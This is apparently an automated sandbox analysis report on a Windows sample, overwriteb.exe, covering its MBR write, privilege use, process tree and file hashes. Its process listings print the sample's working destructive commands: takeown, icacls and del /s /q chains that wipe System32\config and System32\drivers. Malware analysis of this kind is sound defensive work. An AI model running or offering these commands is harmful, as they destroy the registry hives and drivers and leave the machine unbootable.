Malware Analysis Report

2024-11-16 12:51

Sample ID 240810-s7bhqawcrp
Target overwriteb.exe
SHA256 3e68a8d85a3429226ed2cb9f16b16e715bb53d3ee34d06cdaad05cbf49880ff9
Tags
bootkit discovery exploit persistence
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

3e68a8d85a3429226ed2cb9f16b16e715bb53d3ee34d06cdaad05cbf49880ff9

Threat Level: Likely malicious

The file overwriteb.exe was found to be: Likely malicious.

Malicious Activity Summary

bootkit discovery exploit persistence

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Writes to the Master Boot Record (MBR)

Unsigned PE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-10 15:45

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-10 15:45

Reported

2024-08-10 15:48

Platform

win7-20240708-en

Max time kernel

44s

Max time network

14s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2152 wrote to memory of 904 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2152 wrote to memory of 904 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2152 wrote to memory of 904 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2152 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2152 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 2152 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 904 wrote to memory of 2180 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 904 wrote to memory of 2180 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 904 wrote to memory of 2180 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2860 wrote to memory of 2092 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2860 wrote to memory of 2092 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2860 wrote to memory of 2092 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 904 wrote to memory of 2768 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 904 wrote to memory of 2768 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 904 wrote to memory of 2768 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2860 wrote to memory of 2356 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2860 wrote to memory of 2356 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2860 wrote to memory of 2356 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2152 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2152 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2152 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wininit.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wininit.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wininit.exe

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe

C:\Windows\system32\wininit.exe

"C:\Windows\system32\wininit.exe"

Network

N/A

Files

memory/2152-0-0x000000013F780000-0x000000013F92F000-memory.dmp

memory/2152-1-0x000000013F780000-0x000000013F92F000-memory.dmp

memory/2152-2-0x000000013F780000-0x000000013F92F000-memory.dmp

memory/2780-7-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

memory/2780-8-0x0000000002340000-0x0000000002348000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-10 15:45

Reported

2024-08-10 15:46

Platform

win10v2004-20240802-en

Max time kernel

54s

Max time network

35s

Command Line

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File created \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\overwriteb.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3656 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 3656 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 3656 wrote to memory of 3800 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 3656 wrote to memory of 3800 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\cmd.exe
PID 1948 wrote to memory of 4896 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1948 wrote to memory of 4896 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 3800 wrote to memory of 2116 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 3800 wrote to memory of 2116 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1948 wrote to memory of 2924 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1948 wrote to memory of 2924 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3800 wrote to memory of 2760 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3800 wrote to memory of 2760 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3656 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3656 wrote to memory of 4624 N/A C:\Users\Admin\AppData\Local\Temp\overwriteb.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\overwriteb.exe

"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\config\*

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\System32\drivers\*

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\config\* /grant Everyone:(F)

C:\Windows\system32\icacls.exe

icacls C:\Windows\System32\drivers\* /grant Everyone:(F)

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe

C:\Windows\system32\wininit.exe

"C:\Windows\system32\wininit.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp

Files

memory/3656-0-0x00007FF673590000-0x00007FF67373F000-memory.dmp

memory/3656-1-0x00007FF673590000-0x00007FF67373F000-memory.dmp

memory/3656-2-0x00007FF673590000-0x00007FF67373F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mveh1102.lux.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4624-14-0x0000015F89900000-0x0000015F89922000-memory.dmp